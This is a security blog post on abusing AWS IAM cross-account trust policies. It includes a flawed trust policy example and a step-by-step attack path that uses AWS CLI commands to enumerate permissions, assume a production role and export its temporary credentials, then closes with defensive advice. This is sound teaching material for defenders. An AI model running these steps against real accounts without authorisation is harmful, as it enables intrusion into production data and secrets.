AWS IAM Trust Policies: Exploiting Cross-Account Role Assumption
Overview & Threat Landscape#
In multi-account cloud environments, Identity and Access Management (IAM) role assumption serves as the primary trust fabric connecting centralized identity providers, development accounts, and production workloads. Rather than distributing long-lived access keys, AWS architectures rely on sts:AssumeRole to issue short-lived credentials bounded by IAM trust policies.
However, cross-account role trust configurations frequently create critical, unintended privilege escalation paths. The 2026 Cloud Security Index reported that overly permissive IAM trust policies and missing external ID constraints remain prevalent in over 80% of audited cloud environments. When a trust policy grants assumption rights to an external AWS account root (arn:aws:iam::EXTERNAL-ACCOUNT-ID:root) without strict principal scoping or condition keys, any compromised principal within the trusted account can assume the target role and inherit its administrative permissions.
[!WARNING] Trusting
arn:aws:iam::<AccountID>:rootin an IAM trust policy does not limit access to the root user. In AWS IAM semantics, this delegates authorization entirely to the external account's administrators, allowing any principal withsts:AssumeRolepermissions in that external account to assume the role.
Vulnerability & Attack Root-Cause Analysis#
The vulnerability lies in how AWS evaluates trust policies (resource-based policies on roles) in conjunction with identity-based policies. When Role A in Account Target (111122223333) configures a trust policy delegating to Account Vendor (444455556666), two distinct evaluations occur:
- Target Trust Policy Evaluation: The target role verifies whether the incoming request originates from a permitted principal or account.
- Caller Identity Policy Evaluation: The caller's local account checks whether the requesting identity has explicit permission to execute
sts:AssumeRoleagainst the target ARN.
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "FlawedCrossAccountTrust",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::444455556666:root"
},
"Action": "sts:AssumeRole"
}
]
}
If Account 444455556666 contains a low-privileged identity (such as an automated CI/CD runner or third-party contractor) that possesses broad sts:AssumeRole rights or suffers a local credential compromise, the caller can directly assume the role in Account 111122223333 even if the target role creator only intended to grant access to a specific vendor administrator.
sequenceDiagram
autonumber
participant Attacker as Compromised Principal (Vendor Account 444455556666)
participant STS as AWS Security Token Service (STS)
participant TargetRole as Target IAM Role (Production Account 111122223333)
participant TargetInfra as Production Infrastructure (S3 / KMS / Secrets)
Attacker->>STS: Request sts:AssumeRole for TargetRole ARN
Note over Attacker,STS: Caller passes low-privileged temporary session tokens
STS->>TargetRole: Evaluate Trust Policy for Account 444455556666
Note over STS,TargetRole: Policy allows root principal without ExternalId or PrincipalArn
TargetRole-->>STS: Trust validated delegation granted to external account
STS-->>Attacker: Return ephemeral AccessKeyId, SecretAccessKey, and SessionToken
Attacker->>TargetInfra: Dispatch API requests with TargetRole credentials
TargetInfra-->>Attacker: Access production data and execute unauthorized actionsThe attack calculus expands through two primary compounding vectors:
- The Confused Deputy Attack: A third-party SaaS platform integrates with multiple customers using a shared role assumption capability without verifying an
sts:ExternalId. Customer A manipulates the SaaS platform into querying Customer B's resources. - Role Chaining & Transit Pivoting: An attacker assumes a cross-account role with limited direct permissions, but that assumed role possesses trust relationship rights to jump into higher-tier management or billing roles across the organization.
Exploit Architecture & Trust Boundary Traversal#
The diagram below illustrates how an external boundary breach traverses account boundaries to compromise production environments:
sequenceDiagram
flowchart TD
subgraph ExternalFoothold [Account 444455556666 - Untrusted Boundary]
DevUser["Compromised CI/CD Runner / Contractor"]
LocalPolicy["Identity Policy: Allow sts:AssumeRole on *"]
end
subgraph AWSSecurityTokenService [AWS STS Service Layer]
STSEngine{"Evaluate Cross-Account Trust"}
TokenIssuer["Issue Ephemeral Session Credentials"]
end
subgraph ProductionAccount [Account 111122223333 - Production Core]
TargetIAMRole["Target Role: AppDeployerRole"]
AdminPermissions["Attached: AdministratorAccess / S3FullAccess"]
ProductionSecrets[("KMS Keys / S3 Data / RDS Clusters")]
end
DevUser --> LocalPolicy
LocalPolicy -->|sts:AssumeRole request| STSEngine
STSEngine <-->|Verify Trust Policy| TargetIAMRole
STSEngine --> TokenIssuer
TokenIssuer -->|Return 1-Hour Temp Credentials| DevUser
DevUser -->|Execute Actions with Elevated Rights| AdminPermissions
AdminPermissions --> ProductionSecretsAttack Path Step-by-Step#
Consider a realistic penetration testing scenario where an adversary obtains low-privilege access to an AWS account used for continuous integration.
Step 1: Enumerating AssumeRole Permissions#
The attacker inspects their current identity policies to discover outbound role assumption permissions:
# Enumerate attached user policies and simulate AssumeRole permissions
aws iam get-user
aws iam list-attached-user-policies --user-name cicd-runner-worker
aws iam get-policy-version --policy-arn arn:aws:iam::444455556666:policy/WorkerExecutionPolicy --version-id v1
The policy reveals an unrestricted resource wildcard:
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Resource": "arn:aws:iam::111122223333:role/*"
}
Step 2: Executing Cross-Account Role Assumption#
Using the local credentials, the attacker requests temporary credentials for the target role:
# Assume the cross-account role in production account 111122223333
aws sts assume-role \
--role-arn arn:aws:iam::111122223333:role/AppDeployerRole \
--role-session-name "SecurityAuditSession" \
--output json > assumed_creds.json
## Export the temporary security credentials into the environment
export AWS_ACCESS_KEY_ID=$(jq -r '.Credentials.AccessKeyId' assumed_creds.json)
export AWS_SECRET_ACCESS_KEY=$(jq -r '.Credentials.SecretAccessKey' assumed_creds.json)
export AWS_SESSION_TOKEN=$(jq -r '.Credentials.SessionToken' assumed_creds.json)
## Confirm successful account traversal
aws sts get-caller-identity
[!CAUTION] The caller identity now reflects
arn:aws:sts::111122223333:assumed-role/AppDeployerRole/SecurityAuditSession. The attacker has bypassed the organizational boundary and operates inside the target production account.
Fast Cyber Defense Morning Takeaways#
- Avoid Account-Root Wildcard Trusts: Never configure
Principal: {"AWS": "arn:aws:iam::<AccountID>:root"}without accompanying condition keys such asaws:PrincipalArnoraws:PrincipalOrgID. - Mandate External ID for Third Parties: When delegating access to external SaaS vendors, enforce a cryptographically random, unique
sts:ExternalIdin the trust policy condition block to prevent confused deputy exploitation. - Audit Cross-Account Trust Relationships Continuously: Trust relationships are dynamic. Organizations must maintain automated continuous policy analysis to detect newly introduced wildcard assumption vectors.
Tonight in EDITION 2 (Night, 8:45 PM BST), we will publish the companion blue team guide:
- Enforcing ABAC and Condition Key Boundaries (
aws:PrincipalArn,sts:ExternalId). - Deploying AWS CloudTrail Sigma Rules to detect unauthorized cross-account role assumptions.
- Implementing Automated IAM Access Analyzer and SCP Guardrails to prevent trust policy misconfigurations at organizational scale.
Comments
Post a Comment